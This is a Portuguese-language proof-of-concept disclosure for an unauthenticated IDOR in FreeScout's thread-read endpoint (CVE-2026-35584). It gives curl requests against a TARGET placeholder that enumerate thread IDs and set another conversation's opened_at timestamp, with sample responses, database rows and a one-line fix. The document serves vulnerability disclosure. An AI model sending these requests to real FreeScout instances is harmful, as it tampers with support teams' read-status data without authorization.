
Prova de conceito de exploit para uma vulnerabilidade IDOR não autenticada no FreeScout que permite a enumeração de threads e a manipulação do status de leitura por meio de requisições HTTP elaboradas.
POC - CVE-2026-35584 FreeScout
O endpoint GET /thread/read/{conversation_id}/{thread_id} não exige autenticação e não valida se o thread_id fornecido pertence ao conversation_id fornecido. Isso permite que qualquer atacante não autenticado:
Marque qualquer thread como lido passando IDs arbitrários Enumere IDs de thread válidos por meio de códigos de resposta HTTP (200 vs 404) Manipule timestamps de opened_at entre conversas (IDOR)
Versão Afetada
1.8.211 (mais recente)
Crie duas conversas (conv_id=1 e conv_id=2) Crie um thread na conversa 2 (thread_id=3) Sem qualquer autenticação, envie: GET /thread/read/1/3 Verifique no banco de dados — opened_at do thread_id=3 agora está definido, apesar de ter sido acessado pelo conversation_id errado
curl -v "http://TARGET/thread/read/1/3"
Retorna HTTP 200 e define opened_at no thread 3
Nenhuma autenticação necessária IDOR: thread_id não é validado contra conversation_id Enumeração de threads: HTTP 200 = thread válido, 404 = inválido Manipulação de métricas de lido/não lido usadas pelos agentes de suporte Quebra o modelo de isolamento de conversas
if ($thread->conversation_id !== (int)$conversation_id) {
abort(403);
}
Enumeração de threads (não autenticado)
curl -v "http://TARGET/thread/read/1/1" → HTTP 200 (thread válido)
curl -v "http://TARGET/thread/read/1/2" → HTTP 200 (thread válido)
curl -v "http://TARGET/thread/read/1/3" → HTTP 200 (IDOR - thread pertence à conversa 2)
curl -v "http://TARGET/thread/read/1/4" → HTTP 404 (thread inválido)
Antes: | id | conversation_id | opened_at | | 3 | 2 | NULL |
Depois de GET /thread/read/1/3 (sem autenticação): | id | conversation_id | opened_at | | 3 | 2 | 2026-04-03 23:19:46 |